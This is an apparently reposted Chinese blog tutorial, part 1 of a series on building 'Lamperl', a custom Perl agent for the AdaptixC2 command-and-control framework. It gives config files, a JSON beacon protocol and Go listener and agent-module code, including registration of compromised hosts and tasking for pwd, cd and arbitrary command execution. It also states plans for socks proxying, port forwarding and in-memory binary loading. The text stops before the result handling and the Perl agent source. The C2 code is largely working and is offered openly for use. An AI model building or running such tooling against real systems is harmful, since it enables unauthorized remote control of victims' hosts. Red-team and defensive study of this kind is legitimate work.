文章总结： 本文介绍了使用Perl为AdaptixC2框架开发自定义AgentLamperl的过程。内容涵盖项目结构搭建、JSON通信协议设计、Go实现HTTP监听器及Perl编写具备beacon与命令执行能力的Agent。作者实现了pwd、cd及run等基础功能，提供了完整代码与配置，为后续扩展文件传输及socks代理奠定基础。 综合评分： 89 文章分类： 红队,安全开发,实战经验,安全工具,内网渗透

---

从 Perlyite 到 Lamperl：用 Perl 构建自定义 Adaptix C2 Agent (第 1 篇)

Polar

securitainment

2025年12月30日 12:50 中国香港

前段时间，我读到一篇博客，详细讲解了 PaperShell agent 的创建过程，于是立刻萌生了自己写一个自定义 C2 agent 的想法。

https://teletype.in/@magnummalum/adaptixc2-create-agent

https://github.com/ArturLukianov/PaperShell

https://github.com/Adaptix-Framework/AdaptixC2

于是 Perlyite 诞生了：一个用 Perl 编写的 Linux agent。之所以选择 Perl，是因为它在 Linux 系统上极为常见，几乎所有主流发行版以及不少小型发行版都默认安装。在项目规划阶段，我先列出了几个核心需求。

首先，因为我经常参加 CTF，socks proxy (允许将流量通过被攻陷主机进行隧道转发) 是刚需。同样，lportfwd和 rportfwd(用于网络 pivoting 的本地与远程端口转发能力) 也必不可少。此前我还用 memfd (Linux 中用于创建内存文件描述符的特性) 配合 Python 做过把二进制加载到内存中的实验，因此也希望把这一能力做进来。

虽然这些目标都实现了，但我对最终效果并不满意，于是决定重新开始。

项目目标

接下来就是 Lamperl。本项目的核心目标是用 Perl 编写一个自定义的 Adaptix agent，并完整记录整个开发过程。这一次，我希望在可行范围内尽量用上 Adaptix 所支持的功能：

• Socks proxy
• Rportfwd
• Lportfwd
• 上传
• 下载
• Job/Task 处理
• 进程查看器
• 文件系统查看器

以及可能还会有：

• 远程终端

在本系列的第一篇里，我们先搭建 listener 基础设施，再构建一个具备基本功能的 agent。

搭建项目结构

先克隆 Adaptix 模板仓库，并按 readme 中的说明完成初始化：

Adaptix-Framework/templates-extender

项目命名为 Lamperl(“Lamprey”与“Perl”的混成词)，因此后续命名都以此为准。下面是 listener 与 agent 两个组件的配置文件：

监听器 config.json：

{
"extender_type": "listener",
"extender_file": "lamperl_http.so",
"ax_file": "ax_config.axs",

"listener_name": "LamperlHTTP",
"listener_type": "external",
"protocol": "http"
}

代理 config.json：

{
"extender_type": "agent",
"extender_file": "lamperl_agent.so",
"ax_file": "ax_config.axs",

"agent_name": "Lamperl",
"agent_watermark": "6c616d70",
"listeners": [ "LamperlHTTP"]
}

重要说明：两个配置文件中的 listener 名称必须完全一致；agent watermark 必须是小写十六进制。watermark 是该 agent 类型在 C2 基础设施中的唯一标识，teamserver 依此区分不同的 agent 家族。

因为要实现 HTTP listener，还需要新增一个 pl_http.go文件来承载协议逻辑。最终的项目结构如下：

Lamperl/
├── lamperl_agent/
│   ├── config.json
│   ├── ax_config.axs
│   ├── pl_main.go
│   ├── pl_agent.go
│   ├── go.mod
│   ├── Makefile
│   └── src_lamperl/
│       └── lamperl.pl
└── lamperl_listener_http/
    ├── config.json
    ├── ax_config.axs
    ├── pl_main.go
    ├── pl_listener.go
    ├── pl_http.go
    ├── go.mod
    └── Makefile

依赖管理

要让 Adaptix server 正确加载监听器，需要指定正确的库版本。做法很简单：从任意一个原生 Adaptix listener (例如 beacon_listener_http) 复制 go.mod内容到你的项目中即可。以我为例，依赖如下：

go1.24.4

require (
 github.com/Adaptix-Framework/axc2 v0.9.0
 github.com/gin-gonic/gin v1.11.0
)

require (
 github.com/bytedance/gopkg v0.1.3// indirect
 github.com/bytedance/sonic v1.14.1// indirect
 github.com/bytedance/sonic/loader v0.3.0// indirect
 github.com/cloudwego/base64x v0.1.6// indirect
 github.com/gabriel-vasile/mimetype v1.4.10// indirect
 github.com/gin-contrib/sse v1.1.0// indirect
 github.com/go-playground/locales v0.14.1// indirect
 github.com/go-playground/universal-translator v0.18.1// indirect
 github.com/go-playground/validator/v10 v10.27.0// indirect
 github.com/goccy/go-json v0.10.5// indirect
 github.com/goccy/go-yaml v1.18.0// indirect
 github.com/json-iterator/go v1.1.12// indirect
 github.com/klauspost/cpuid/v2 v2.3.0// indirect
 github.com/leodido/go-urn v1.4.0// indirect
 github.com/mattn/go-isatty v0.0.20// indirect
 github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
 github.com/modern-go/reflect2 v1.0.2// indirect
 github.com/pelletier/go-toml/v2 v2.2.4// indirect
 github.com/quic-go/qpack v0.5.1// indirect
 github.com/quic-go/quic-go v0.54.1// indirect
 github.com/twitchyliquid64/golang-asm v0.15.1// indirect
 github.com/ugorji/go/codec v1.3.0// indirect
go.uber.org/mock v0.6.0// indirect
 golang.org/x/arch v0.21.0// indirect
 golang.org/x/crypto v0.42.0// indirect
 golang.org/x/mod v0.28.0// indirect
 golang.org/x/net v0.44.0// indirect
 golang.org/x/sync v0.17.0// indirect
 golang.org/x/sys v0.36.0// indirect
 golang.org/x/text v0.29.0// indirect
 golang.org/x/tools v0.37.0// indirect
 google.golang.org/protobuf v1.36.10// indirect
)

添加 go.mod后，加载模块：

go mod tidy

然后我们需要告诉 Adaptix 加载我们的扩展。

编辑 AdaptixC2/profile.json，添加：

"extenders": [
"extenders/lamperl_listener_http/config.json",
"extenders/lamperl_agent/config.json"
]

扩展编译完成后，将 lamperl_listener_http/dist目录复制到 AdaptixC2/extenders/lamperl_listener_http。

同样地，把 lamperl_agent/dist目录复制到 AdaptixC2/extenders/lamperl_agent。

设计通信协议

基础结构搭好之后，就该设计 agent 与 listener 之间的通信方式了。我选择用 JSON 作为通信协议，因为它可读性强，也便于调试。下面是我们将使用的消息格式示例：

初始连接：

{
"beat": "6c616d70432620e651",
"init": {
"domain": "",
"hostname": "Strike",
"internal_ip": "192.168.50.138",
"jitter": 10,
"pid": 118585,
"process": "generated.pl",
"sleep": 5,
"username": "trigger"
  }
}

beat字段由 8 字符的 agent watermark 与 10 字符随机生成的 agent ID 拼接而成，总长 18 字符，用于唯一标识该 agent 实例。

心跳：

{
"beat":"6c616d70a263098250"
}

任务：

{
"tasks":[
    {
"command":"pwd",
"task_id":"03dd5c23"
    }
  ]
}

响应：

{
"results": [
    {
"output": "{\"path\":\"/home/trigger/Lamperl/lamperl_agent/src_lamperl\",\"command\":\"pwd\"}",
"task_id": "917128a0"
    }
  ],
"beat": "6c616d70a263098250"
}

构建监听器

pl_listener.go

我们先从 pl_listener.go中的 HandlerListenerValid函数开始。它负责为 listener 创建把关：校验通过 UI 提交的 JSON 配置，检查必填字段与基本语义，并在配置无效时返回清晰的错误信息。

// HandlerListenerValid validates listener configuration before creation.
// Called by Adaptix when user submits the listener creation form.
// Checks that all required fields are present and valid.
// Returns error if validation fails, nil if configuration is valid.
func (m *ModuleExtender) HandlerListenerValid(data string) error {

/// START CODE HERE

var conf HTTPConfig
err:= json.Unmarshal([]byte(data), &conf)
if err !=nil {
return err
 }

if conf.HostBind =="" {
return errors.New("host_bind is required")
 }

if&nbsp;conf.PortBind&nbsp;<1||&nbsp;conf.PortBind&nbsp;>65535&nbsp;{
return&nbsp;errors.New("port_bind must be in range 1-65535")
&nbsp;}

if&nbsp;conf.CallbackAddress&nbsp;==""&nbsp;{
return&nbsp;errors.New("callback_address is required")
&nbsp;}

if&nbsp;conf.ApiPath&nbsp;==""&nbsp;{
return&nbsp;errors.New("api_path is required")
&nbsp;}

/// END CODE

returnnil
}

这一步能把畸形或不完整的配置拦在运行期之外，让问题在部署早期就暴露出来。

监听器 ax_config.axs

验证通过后，就可以编写 ax_config.axs文件。它定义了操作员在 UI 中创建新监听器时需要填写的表单：

function ListenerUI(mode_create)
{
// Host selector
    let labelHost= form.create_label("Host & port (Bind):");
    let comboHostBind= form.create_combo();
    comboHostBind.setEnabled(mode_create)
    comboHostBind.clear();
    let addrs= ax.interfaces();
for (let item of addrs) { comboHostBind.addItem(item); }

// Port selector
    let spinPortBind= form.create_spin();
    spinPortBind.setRange(1, 65535);
    spinPortBind.setValue(8080);
    spinPortBind.setEnabled(mode_create)

// Callback selector
    let labelCallback= form.create_label("Callback address:");
    let textCallback= form.create_textline();
    textCallback.setPlaceholder("192.168.1.1:8080");

// API path selector
    let labelApiPath= form.create_label("API path:");
    let textApiPath= form.create_textline();
    textApiPath.setPlaceholder("/api/v2/query");

// Build container
    let container= form.create_container();
    container.put("host_bind", comboHostBind);
    container.put("port_bind", spinPortBind);
    container.put("callback_address", textCallback);
    container.put("api_path", textApiPath);

// Add layout and spacers
    let layout= form.create_gridlayout();
    let spacer1= form.create_vspacer();
    let spacer2= form.create_vspacer();

// Add widgets to the layout
    layout.addWidget(spacer1, 0, 0, 1, 2);

    layout.addWidget(labelHost, 1, 0, 1, 2);
    layout.addWidget(comboHostBind, 2, 0, 1, 1);
    layout.addWidget(spinPortBind, 2, 1, 1, 1);

    layout.addWidget(labelCallback, 3, 0, 1, 2);
    layout.addWidget(textCallback, 4, 0, 1, 2);

    layout.addWidget(labelApiPath, 5, 0, 1, 2);
    layout.addWidget(textApiPath, 6, 0, 1, 2);

    layout.addWidget(spacer2, 7, 0, 1, 2);

    let panel= form.create_panel();
    panel.setLayout(layout);

return {
        ui_panel: panel,
        ui_container: container
    }
}

该表单会收集四个关键值：host_bind、port_bind、callback_address和 api_path。对应的 UI 如下：

回到 pl_listener.go

接下来实现 HandlerCreateListenerDataAndStart：它基于 UI 提交的 JSON 配置，初始化、启动并注册一个新的 HTTP listener 实例。该函数会同时返回给 Adaptix UI 展示用的元数据，以及可持久化的配置，便于后续重启复用。

// HandlerCreateListenerDataAndStart creates and starts a new listener instance.
// This is the main initialization function called when a listener is created.
// Parameters:
//   - name: Unique identifier for this listener instance
//   - configData: JSON-encoded configuration from the UI
//   - listenerCustomData: Optional custom data from previous session (unused)
//
// Returns:
//   - ListenerData: Metadata for Adaptix UI (bind address, port, status)
//   - customData: Serialized config to persist across restarts
//   - listenerObject: The actual HTTP server instance
//   - error: If initialization or startup fails
func (m *ModuleExtender) HandlerCreateListenerDataAndStart(name string, configData string, listenerCustomData []byte) (adaptix.ListenerData, []byte, any, error) {
var (
  listenerData adaptix.ListenerData
  customdData  []byte
 )

/// START CODE HERE

var (
  listener *HTTP
  conf     HTTPConfig
  err      error
 )

err= json.Unmarshal([]byte(configData), &conf)
if err !=nil {
return listenerData, customdData, nil, err
 }

listener=&HTTP{
  Config: conf,
  Name:   name,
  Active: false,
 }

err= listener.Start(ModuleObject.ts)
if err !=nil {
return listenerData, customdData, nil, err
 }

listenerData= adaptix.ListenerData{
  BindHost:  conf.HostBind,
  BindPort:  fmt.Sprintf("%d", conf.PortBind),
  AgentAddr: conf.CallbackAddress,
  Status:    "Listen",
 }

// Save config to customData
var buffer bytes.Buffer
err= json.NewEncoder(&buffer).Encode(conf)
if err !=nil {
return listenerData, customdData, nil, err
 }
customdData= buffer.Bytes()

/// END CODE

return listenerData, customdData, listener, nil
}

执行流程很直接：

1. 将 configData反序列化为 HTTPConfig结构体
2. 用给定的名称与配置构造一个 HTTP listener 对象
3. 调用 listener.Start(ModuleObject.ts)进行 bind 并启动服务
4. 构造 adaptix.ListenerData，包含 bind 地址、端口、agent 回连地址与状态
5. 将配置重新编码为字节 (customData)，用于跨重启持久化
6. 返回所有组件以及过程中遇到的错误

接着实现 HandlerListenerStop，用于优雅地关闭正在运行的监听器：

// HandlerListenerStop gracefully shuts down a running listener.
// Called when user stops a listener from the Adaptix UI.
// Parameters:
//   - name: Listener identifier (unused in this implementation)
//   - listenerObject: The HTTP server instance to stop
//
// Returns: true if stopped successfully, false and error otherwise
func (m *ModuleExtender) HandlerListenerStop(name string, listenerObject any) (bool, error) {
var (
  err error=nil
  ok  bool=false
 )

/// START CODE HERE

listener, valid:= listenerObject.(*HTTP)
if!valid {
returnfalse, errors.New("invalid listener object")
 }

err= listener.Stop()
if err !=nil {
returnfalse, err
 }

ok=true

/// END CODE

return ok, err
}

该实现与 beacon agent 的做法完全一致，足以满足我们的需求。

HandlerListenerGetProfile函数会以 JSON 格式把 listener 的当前配置返回给 Adaptix UI，用于展示 listener 详情，或为 agent 生成选项提供参数：

// HandlerListenerGetProfile returns the listener's current configuration.
// Called when displaying listener details or populating agent generation dropdowns.
// Parameters:
//   - name: Listener identifier to retrieve config for
//   - listenerObject: The HTTP server instance
//
// Returns: JSON-encoded configuration and true if successful
func (m *ModuleExtender) HandlerListenerGetProfile(name string, listenerObject any) ([]byte, bool) {
var (
  object bytes.Buffer
  ok     bool=false
 )

/// START CODE HERE

listener, valid:= listenerObject.(*HTTP)
if!valid || listener.Name != name {
return object.Bytes(), false
 }

_= json.NewEncoder(&object).Encode(listener.Config)
ok=true

/// END CODE

return object.Bytes(), ok
}

同理，这里也可以直接复用 beacon agent 的实现。

我们暂时跳过 HandlerEditListenerData：当前 agent 还不够复杂，运行时修改配置带来的收益不大：

// HandlerEditListenerData updates an existing listener's configuration.
// Currently unimplemented - listener must be stopped and recreated to change config.
func (m *ModuleExtender) HandlerEditListenerData(name string, listenerObject any, configData string) (adaptix.ListenerData, []byte, bool) {
var (
  listenerData adaptix.ListenerData
  customdData  []byte
  ok           bool=false
 )

/// START CODE HERE

/// END CODE

return listenerData, customdData, ok
}

构建 HTTP 协议处理器

pl_http.go

完成 pl_listener.go后，我们继续处理 pl_http.go，在这里实现真正的 HTTP 协议处理逻辑。首先定义相关数据结构：

// HTTPConfig holds configuration for the HTTP listener.
// These values come from the UI form defined in ax_config.axs.
type HTTPConfig struct {
    HostBind        string`json:"host_bind"`
    PortBind        int`json:"port_bind"`
    CallbackAddress string`json:"callback_address"`
    ApiPath         string`json:"api_path"`
}

// HTTP represents an HTTP listener instance.
// Manages the Gin web server and handles agent communication.
type HTTP struct {
    GinEngine *gin.Engine
    Server    *http.Server
    Config    HTTPConfig
    Name      string
    Active    bool
}

// AgentRequest represents the JSON structure sent by agents.
// Beat: 18-char string (8-char watermark + 10-char agent ID)
// Init: System information sent only on first check-in
// Results: Array of task execution results from previous beacon
type AgentRequest struct {
    Beat    string`json:"beat"`
    Init    map[string]interface{}   `json:"init,omitempty"`
    Results []map[string]interface{} `json:"results,omitempty"`
}

HTTPConfig结构体包含与验证函数和 UI 表单中一致的字段。HTTP结构体表示一个正在运行的 listener 实例；AgentRequest则定义了 agent 发来的消息结构。

Start函数会初始化 Gin router、注册 API endpoint、创建 HTTP server，并在非阻塞的 goroutine 中启动：

// Start initializes and launches the HTTP server.
// Creates a Gin router, registers the API endpoint, and starts listening.
// The server runs in a goroutine to avoid blocking.
func (handler *HTTP) Start(ts Teamserver) error {
 gin.SetMode(gin.ReleaseMode)
router:= gin.New()

// Register the API endpoint
 router.POST(handler.Config.ApiPath, func(c *gin.Context) {
  handler.processRequest(c, ts)
 })

handler.Active=true
handler.Server=&http.Server{
  Addr:    fmt.Sprintf("%s:%d", handler.Config.HostBind, handler.Config.PortBind),
  Handler: router,
 }

 fmt.Printf("[Lamperl_Listener] Started listener: http://%s:%d%s\n",
  handler.Config.HostBind, handler.Config.PortBind, handler.Config.ApiPath)

gofunc() {
err:= handler.Server.ListenAndServe()
if err !=nil&&!errors.Is(err, http.ErrServerClosed) {
   fmt.Printf("Error starting HTTP server: %v\n", err)
return
  }
 }()

 time.Sleep(500* time.Millisecond)
returnnil
}

对应的 Stop函数负责优雅关闭：

// Stop gracefully shuts down the HTTP server.
// Waits up to 3 seconds for existing connections to complete.
func (handler *HTTP) Stop() error {
ctx, cancel:= context.WithTimeout(context.Background(), 3*time.Second)
defercancel()
return handler.Server.Shutdown(ctx)
}

监听器的核心是 processRequest函数，它处理所有 agent 发来的 beacon、初始 check-in 以及结果交换：

// processRequest handles incoming agent beacons.
// This is the core request handler that:
//  1. Parses the JSON request to extract beat, init data, and results
//  2. Creates new agents on first check-in
//  3. Processes task results from the agent
//  4. Returns pending tasks for the agent to execute
func (handler *HTTP) processRequest(ctx *gin.Context, ts Teamserver) {
var (
  externalIP   string
  agentType    string
  agentId      string
  beat         []byte
  bodyData     []byte
  responseData []byte
  err          error
 )

 fmt.Printf("[LISTENER] Received request from %s to %s\n", ctx.Request.RemoteAddr, ctx.Request.URL.Path)
 fmt.Printf("[LISTENER] Method: %s, Content-Type: %s\n", ctx.Request.Method, ctx.Request.Header.Get("Content-Type"))

// Get agent's IP
externalIP= strings.Split(ctx.Request.RemoteAddr, ":")[0]

// Parse the request
agentType, agentId, beat, bodyData, err= handler.parseRequest(ctx)
if err !=nil {
  fmt.Printf("[LISTENER ERROR] Failed to parse request: %v\n", err)
  ctx.Writer.WriteHeader(http.StatusNotFound)
return
 }

 fmt.Printf("[LISTENER] Parsed - AgentType: %s, AgentID: %s, Beat len: %d, Body len: %d\n",
  agentType, agentId, len(beat), len(bodyData))

// Create agent if doesn't exist
if!ModuleObject.ts.TsAgentIsExists(agentId) {
  fmt.Printf("[LISTENER] Creating new agent: %s\n", agentId)
_, err= ModuleObject.ts.TsAgentCreate(agentType, agentId, beat, handler.Name, externalIP, true)
if err !=nil {
   fmt.Printf("[LISTENER ERROR] Failed to create agent: %v\n", err)
   ctx.Writer.WriteHeader(http.StatusNotFound)
return
  }
  fmt.Printf("[LISTENER] Agent created successfully\n")
 } else {
  fmt.Printf("[LISTENER] Agent %s already exists\n", agentId)
 }

// Update agent's last check-in time
_= ModuleObject.ts.TsAgentSetTick(agentId)

// Process agent data (task results)
 fmt.Printf("[LISTENER] Processing agent data...\n")
_= ModuleObject.ts.TsAgentProcessData(agentId, bodyData)

// Get tasks for agent
 fmt.Printf("[LISTENER] Getting tasks for agent...\n")
responseData, err= ModuleObject.ts.TsAgentGetHostedAll(agentId, 0x1900000) // 25 MB
if err !=nil {
  fmt.Printf("[LISTENER ERROR] Failed to get tasks: %v\n", err)
  ctx.Writer.WriteHeader(http.StatusNotFound)
return
 }

 fmt.Printf("[LISTENER] Sending response: %d bytes\n", len(responseData))

// Send response
 ctx.Writer.Header().Set("Content-Type", "application/json")
_, err= ctx.Writer.Write(responseData)
if err !=nil {
  fmt.Printf("[LISTENER ERROR] Failed to write response: %v\n", err)
  ctx.Writer.WriteHeader(http.StatusNotFound)
return
 }

 ctx.AbortWithStatus(http.StatusOK)
 fmt.Printf("[LISTENER] Request completed successfully\n")
}

该函数串起了完整的请求/响应流程：

1. 记录请求元数据并提取客户端 IP
2. 调用 parseRequest校验并提取 watermark、agent ID、beat/init 数据以及 body
3. 首次 check-in 时创建新 agent (如果尚不存在)，并更新其 last-seen 时间戳
4. 处理 agent 上报的数据 (任务结果)
5. 向 teamserver 查询待下发任务
6. 将 JSON 响应写回给 agent

最后实现 parseRequest，用于解析并规范化 agent 发来的 POST payload：

// parseRequest extracts and validates data from an agent's HTTP request.
// Parses the JSON body and separates the beat into watermark and agent ID.
// Returns:
//   - watermark: 8-character hex identifier for agent type
//   - agentId: 10-character hex unique agent instance ID
//   - beat: Initial check-in data (JSON) or empty for regular beacons
//   - bodyData: Task results (JSON) or empty array
//   - error: If parsing fails or format is invalid
func (handler *HTTP) parseRequest(ctx *gin.Context) (string, string, []byte, []byte, error) {
// Read POST body
bodyData, err:= io.ReadAll(ctx.Request.Body)
if err !=nil {
return"", "", nil, nil, fmt.Errorf("failed to read request body: %v", err)
 }

 fmt.Printf("[PARSE] Raw body (%d bytes): %s\n", len(bodyData), string(bodyData))

// Parse JSON
var req AgentRequest
err= json.Unmarshal(bodyData, &req)
if err !=nil {
return"", "", nil, nil, fmt.Errorf("failed to parse JSON: %v", err)
 }

 fmt.Printf("[PARSE] Beat from JSON: %s (len=%d)\n", req.Beat, len(req.Beat))

// Parse beat: watermark (8 hex chars) + agent_id (10 hex chars) = 18 chars total
iflen(req.Beat) !=18 {
return"", "", nil, nil, fmt.Errorf("invalid beat format: expected 18 chars, got %d", len(req.Beat))
 }

watermark:= req.Beat[:8]
agentIdHex:= req.Beat[8:]

// The "beat" parameter is what gets passed to CreateAgent - it should be the init data for first checkin
var beat []byte
var agentData []byte

if req.Init !=nil {
// Initial check-in - encode init data as JSON for both beat and agentData
beat, err= json.Marshal(req.Init)
if err !=nil {
return"", "", nil, nil, errors.New("failed to encode init data")
  }
agentData= beat // Same data for initial checkin
 } elseif req.Results !=nil {
// Regular beacon - encode results as JSON
beat= []byte{} // Empty beat for regular checkins
agentData, err= json.Marshal(req.Results)
if err !=nil {
return"", "", nil, nil, errors.New("failed to encode results")
  }
 } else {
// Empty beacon
beat= []byte{}
agentData= []byte("[]")
 }

return watermark, agentIdHex, beat, agentData, nil
}

解析流程分三种情况：

1. 读取整个 POST body
2. 反序列化为 AgentRequest
3. 校验 beat 长度 (18 字符：8 字符 watermark + 10 字符 agent ID)
4. 若存在 Init：将其序列化到 beat与 agentData(初始 check-in)
5. 若存在 Results：将其序列化到 agentData，同时 beat置空 (常规 check-in)
6. 若两者都不存在：返回空 beat与 []作为 agentData(空 beacon)

至此，监听器部分就完成了：在 lamperl_listener_http目录运行 make即可构建。下一步是完善 agent 模块。

构建代理模块

pl_agent.go

监听器基础设施完成后，我们就可以把注意力转向 agent 模块。首先定义一些用于从 map 中提取值的辅助函数：

// getString is a helper function to safely extract string values from a map.
// Returns empty string if key doesn't exist or value is not a string.
funcgetString(m map[string]interface{}, key string) string {
ifval, ok:= m[key].(string); ok {
return val
 }
return""
}

// getInt is a helper function to safely extract integer values from a map.
// Handles both float64 (JSON default for numbers) and int types.
// Returns 0 if key doesn't exist or value cannot be converted.
funcgetInt(m map[string]interface{}, key string) int {
ifval, ok:= m[key].(float64); ok {
returnint(val)
 }
ifval, ok:= m[key].(int); ok {
return val
 }
return0
}

接着实现 AgentGenerateProfile，它会提取 agent 生成阶段所需的监听器配置：

// GenerateConfig holds configuration data for agent generation.
// Currently empty as agent_id is generated at runtime by the agent itself,
// not during the build process. This ensures each agent instance has a unique ID.
type GenerateConfig struct {
}

// AgentGenerateProfile extracts listener configuration needed for agent generation.
// This function is called during agent build to gather connection parameters.
// Parameters:
//   - agentConfig: JSON string with agent-specific configuration (currently unused)
//   - listenerWM: Listener watermark (currently unused)
//   - listenerMap: Map containing listener configuration (callback_address, api_path, etc.)
//
// Returns: JSON-encoded profile data containing callback_addr and api_path
funcAgentGenerateProfile(agentConfig string, listenerWM string, listenerMap map[string]any) ([]byte, error) {
var (
  generateConfig GenerateConfig
  err            error
 )

err= json.Unmarshal([]byte(agentConfig), &generateConfig)
if err !=nil {
returnnil, err
 }

/// START CODE HERE

// Extract callback address and API path from listener
callbackAddr, ok:= listenerMap["callback_address"].(string)
if!ok {
returnnil, errors.New("callback_address not found in listener map")
 }

apiPath, ok:= listenerMap["api_path"].(string)
if!ok {
returnnil, errors.New("api_path not found in listener map")
 }

// Agent generates its own ID at runtime - no need to include in profile
profileData:=map[string]string{
"callback_addr": callbackAddr,
"api_path":      apiPath,
 }

profileBytes, err:= json.Marshal(profileData)
if err !=nil {
returnnil, err
 }

/// END CODE HERE

return profileBytes, nil
}

该函数会反序列化 agent config，从 listener map 中提取 callback_address与 api_path，并将其打包为 JSON profile，用于 agent 构建阶段。

AgentGenerateBuild函数通过把 Perl 模板中的占位符替换为实际配置值，从而生成可部署的 agent：

// AgentGenerateBuild creates a deployable agent by replacing placeholders in the template.
// This function reads the Perl agent template and injects configuration values.
// Parameters:
//   - agentConfig: JSON string with agent-specific configuration
//   - agentProfile: JSON-encoded profile data from AgentGenerateProfile
//   - listenerMap: Map containing listener configuration
//
// Returns:
//   - Agent file content (Perl script with placeholders replaced)
//   - Filename for the generated agent
//   - Error if any step fails
funcAgentGenerateBuild(agentConfig string, agentProfile []byte, listenerMap map[string]any) ([]byte, string, error) {
var (
  Filename     string
  buildContent []byte
 )

/// START CODE HERE

// Parse profile
var profile map[string]string
err:= json.Unmarshal(agentProfile, &profile)
if err !=nil {
returnnil, "", err
 }

callbackAddr:= profile["callback_addr"]
apiPath:= profile["api_path"]

// Parse callback address
host, port, err:= net.SplitHostPort(strings.TrimPrefix(strings.TrimPrefix(callbackAddr, "http://"), "https://"))
if err !=nil {
returnnil, "", fmt.Errorf("invalid callback address: %v", err)
 }

// Read agent template
currentDir:= ModuleDir
Filename="lamperl.pl"

agentContentBytes, err:= os.ReadFile(currentDir +"/src_lamperl/lamperl.pl")
if err !=nil {
returnnil, "", err
 }

agentContent:=string(agentContentBytes)

// Replace placeholders (agent generates its own ID at runtime)
agentContent=&nbsp;strings.ReplaceAll(agentContent,&nbsp;"<CALLBACK_HOST>", host)
agentContent=&nbsp;strings.ReplaceAll(agentContent,&nbsp;"<CALLBACK_PORT>", port)
agentContent=&nbsp;strings.ReplaceAll(agentContent,&nbsp;"<CALLBACK_PATH>", apiPath)
agentContent=&nbsp;strings.ReplaceAll(agentContent,&nbsp;"<WATERMARK>", AgentWatermark)

buildContent=&nbsp;[]byte(agentContent)

/// END CODE HERE

return&nbsp;buildContent, Filename,&nbsp;nil
}

这就是我们在右键菜单中选择“Generate”时实际执行的构建逻辑。它会：

• 解析 agentProfile以提取 callback_addr与 api_path
• 将 callback address 拆分为 host 与 port
• 从 src_lamperl/lamperl.pl读取 Perl 模板
• 替换占位符：<CALLBACK_HOST>、<CALLBACK_PORT>、<CALLBACK_PATH>、<WATERMARK>
• 返回修改后的脚本字节内容以及文件名

有了生成相关函数后，我们就可以实现 CreateAgent：它解析初始 beacon 数据，并在 C2 中注册一个新的 agent：

// CreateAgent parses initial beacon data and populates agent metadata.
// Called when an agent checks in for the first time to register it in the C2.
// Parameters:
//   - initialData: JSON-encoded system information from the agent's first beacon
//
// Returns: Populated AgentData struct with system info, sleep/jitter settings, etc.
funcCreateAgent(initialData []byte) (adaptix.AgentData, error) {
var agentData adaptix.AgentData

/// START CODE HERE

var initData map[string]interface{}
err:= json.Unmarshal(initialData, &initData)
if err !=nil {
return agentData, err
 }

// Extract agent information
agentData.Computer=getString(initData, "hostname")
agentData.Username=getString(initData, "username")
agentData.Domain=getString(initData, "domain")
agentData.InternalIP=getString(initData, "internal_ip")
agentData.Process=getString(initData, "process")
agentData.Pid= fmt.Sprintf("%d", getInt(initData, "pid"))
agentData.Sleep=uint(getInt(initData, "sleep"))
agentData.Jitter=uint(getInt(initData, "jitter"))
agentData.Os= OS_LINUX

// No encryption for now
agentData.SessionKey= []byte("NULL")

/// END CODE

return agentData, nil
}

该函数的流程很清晰：把 JSON 反序列化为 map，提取系统信息 (hostname、username、domain、internal IP、process name、PID)，提取运行参数 (sleep 与 jitter)，将 OS 类型设为 Linux，并把 session key 初始化为“NULL” (加密会在后续版本实现)。

任务处理

现在我们需要处理双向的任务流。PackTasks函数会把 Adaptix 内部的任务结构转换为我们的 Perl agent 所期望的 JSON 格式：

/// TASKS
// PackTasks converts Adaptix TaskData array into agent-consumable JSON format.
// Called when the agent checks in to send pending tasks for execution.
// Parameters:
//   - agentData: Agent metadata (unused but required by interface)
//   - tasksArray: Array of tasks to send to the agent
//
// Returns: JSON-encoded response with tasks array, each containing task_id and command data
funcPackTasks(agentData adaptix.AgentData, tasksArray []adaptix.TaskData) ([]byte, error) {
var packData []byte

/// START CODE HERE

var tasks []map[string]interface{}

for_, task:=range tasksArray {
var taskMap map[string]interface{}
err:= json.Unmarshal(task.Data, &taskMap)
if err !=nil {
continue
  }

  taskMap["task_id"] = task.TaskId
tasks=append(tasks, taskMap)
 }

response:=map[string]interface{}{
"tasks": tasks,
 }

packData, err:= json.Marshal(response)
if err !=nil {
returnnil, err
 }

/// END CODE

return packData, nil
}

该函数遍历每个任务，将其 data 反序列化为 map，加入 task ID，然后把所有内容封装到一个 response 对象中，最后序列化为 JSON。

CreateTask函数负责 operator-to-agent 方向：把控制台命令转换为任务结构。在这个初始版本中，我们实现三个命令：pwd、cd和 run：

// CreateTask converts user input from the UI into a task for the agent.
// Called when an operator executes a command in the Adaptix console.
// Parameters:
//   - ts: Teamserver interface for C2 operations
//   - agent: Agent metadata
//   - args: Map containing command name and parameters from UI
//
// Returns:
//   - TaskData: Serialized task to send to agent
//   - ConsoleMessageData: Message to display in operator's console
//   - Error if command is invalid or parameters are missing
funcCreateTask(ts Teamserver, agent adaptix.AgentData, args map[string]any) (adaptix.TaskData, adaptix.ConsoleMessageData, error) {
var (
  taskData    adaptix.TaskData
  messageData adaptix.ConsoleMessageData
  err         error
 )

//command, ok := args["command"].(string)
//if !ok {
// return taskData, messageData, errors.New("'command' must be set")
//}
//subcommand, _ := args["subcommand"].(string)

taskData= adaptix.TaskData{
  Type: TYPE_TASK,
  Sync: true,
 }

messageData= adaptix.ConsoleMessageData{
  Status: MESSAGE_INFO,
  Text:   "",
 }
messageData.Message, _= args["message"].(string)

/// START CODE HERE

command, ok:= args["command"].(string)
if!ok {
return taskData, messageData, errors.New("'command' must be set")
 }

commandData:=make(map[string]interface{})
 commandData["command"] = command

switch command {
case"pwd":
// No additional parameters needed
case"cd":
path, ok:= args["path"].(string)
if!ok {
err= errors.New("parameter 'path' must be set")
return taskData, messageData, err
  }
  commandData["path"] = path
case"run":
executable, ok:= args["executable"].(string)
if!ok {
err= errors.New("parameter 'executable' must be set")
return taskData, messageData, err
  }
  commandData["executable"] = executable
ifcmdArgs, ok:= args["args"].(string); ok {
   commandData["args"] = cmdArgs
  }
default:
err= fmt.Errorf("unknown command: %s", command)
return taskData, messageData, err
 }

taskData.Data, err= json.Marshal(commandData)
if err !=nil {
return taskData, messageData, err
 }

/// END CODE

return taskData, messageData, err
}

该函数从 args map 中提取命令名，然后按命令类型构造 commandData：pwd不需要额外参数，cd需要 path，run需要 executable 以及可选 args。随后将其序列化为 JSON，并写入 taskData.Data。

这三个命令为测试提供了坚实基础：文件系统导航 (pwd、cd) 加上任意命令执行 (run)，足以覆盖验证整个任务流所需的关键操作。

最后，ProcessTasksResult负责 agent-to-operator 方向：解析任务结果并格式化为控制台输出：

